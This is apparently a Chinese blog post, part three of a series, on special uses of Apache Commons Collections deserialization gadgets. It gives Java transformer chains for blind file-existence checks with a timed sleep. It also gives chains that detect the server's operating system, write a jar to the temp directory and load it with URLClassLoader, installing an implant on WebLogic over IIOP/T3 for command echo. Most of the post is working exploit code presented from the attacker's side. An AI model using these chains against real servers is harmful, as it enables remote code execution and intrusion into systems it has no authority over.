Apache CommonCollection Gadget 几种特殊的玩法( 三 )

是否存在某些文件if (File.class.getConstructor(String.class).newInstance("/etc/passed").exists()){Thread.sleep(7000);}改写成cc链
TransformerUtils.switchTransformer(PredicateUtils.asPredicate(new ChainedTransformer( new Transformer[] {new ConstantTransformer(File.class),new InstantiateTransformer(new Class[]{String.class},new Object[]{path}),new InvokerTransformer("exists", null, null)})),new ChainedTransformer( new Transformer[] {new ConstantTransformer(Thread.class),new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"sleep", new Class[]{Long.TYPE}}),new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[] {7000L}})}),TransformerUtils.nopTransformer();)weblogic iiop/T3回显主要问题有 目前只能用URLClassloader , 但是需要确定上传到weblogic服务器的位置 。而这里我们知道 , windows与linux的临时目录以及file协议访问上传文件的绝对路径肯定不一样 。如果只用invokerTransform的话 , 最简单的执行回显的方案如下
sequenceDiagram攻击者->>weblogic: 上传至Linux的临时目录/tmp/xxx.jar攻击者->>weblogic: 调用urlclassloader加载 , 安装实例攻击者->>weblogic:通过lookup查找实例 , 检测是否安装成功weblogic->>攻击者: 安装成功 , 结束weblogic->>攻击者: 安装失败 , 抛出异常攻击者->>weblogic: 上传至windows的临时目录 C:\Windows\Temp\xxx.jar攻击者->>weblogic: 调用urlclassloader加载 , 安装实例攻击者->>weblogic:通过lookup查找实例 , 检测是否安装成功weblogic->>攻击者: 安装成功 结束weblogic->>攻击者: 安装失败攻击一次weblogic服务器 , 最多可能需要发送6次反序列化包 , 才能成功的给weblogic服务器安装实例 。这显然不符合我们精简代码的思想 。下面我们用正常思维的方式去执行一下攻击过程
if (os == 'win'){fileOutput(winTemp)}else{fileOutput(LinuxTemp)}if (os == 'win'){urlclassloader.load(winTemp)}else{urlclassloader.load(LinuxTemp)}这里我们可以使用SwitchTransformer + Predicate + ChainedTransformer 组合去完成 。

  1. SwitchTransformer类似于if语句
  2. Predicate类似于条件语句
  3. ChainedTransformer 将所有的语句串起来执行
SwitchTransformer类需要一个Predicate , 而这里TransformerPredicate可以将一个Transformer转换为一个Predicate 。所以我们需要一个可以判断操作系统的chain 。然后将判断操作系统的chain作为Predicate , 调用switchTransformer , 根据结果 , 将可执行ja包写入win或者linux的临时目录 。然后再调用第二个switchTransformer , 根据操作系统的类型 , 调用URLclassloader分别加载相应上传位置的jar包 , 通过chainedTransformer将两个SwitchTransformer将两个SwitchTransform连接起来 。代码如下
Transformer t = TransformerUtils.switchTransformer(PredicateUtils.asPredicate(getSysTypeTransformer()),new ChainedTransformer(new Transformer[]{new ConstantTransformer(FileOutputStream.class),new InstantiateTransformer(new Class[]{String.class, Boolean.TYPE},new Object[]{"C:\Windows\Temp\xxx.jar", false}),new InvokerTransformer("write", new Class[]{byte[].class}, new Object[]{getRemoteJarBytes()})}),TransformerUtils.nopTransformer());Transformer t1 = TransformerUtils.switchTransformer(PredicateUtils.asPredicate(getSysTypeTransformer()),new ChainedTransformer(new Transformer[]{new ConstantTransformer(URLClassLoader.class),new InstantiateTransformer(new Class[]{URL[].class},new Object[]{new URL[]{new URL("file:/C:\Windows\Temp\xxx.jar")}}),new InvokerTransformer("loadClass",new Class[]{String.class}, new Object[]{className}),new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"test", new Class[]{String.class}}),new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Object[]{null, new String[]{op}})}),TransformerUtils.nopTransformer()); // 这块自行改成linux的吧Transformer list = new ChainedTransformer(new Transformer[]{t,t1});private static ChainedTransformer getSysTypeTransformer() {return new ChainedTransformer(new Transformer[]{new ConstantTransformer(System.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getProperty", new Class[]{String.class}}),new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null, new Object[]{"os.name"}}),new InvokerTransformer("toString",new Class[]{},new Object[0]),new InvokerTransformer("toLowerCase",new Class[]{},new Object[0]),new InvokerTransformer("contains",new Class[]{CharSequence.class},new Object[]{"win"}),});}


推荐阅读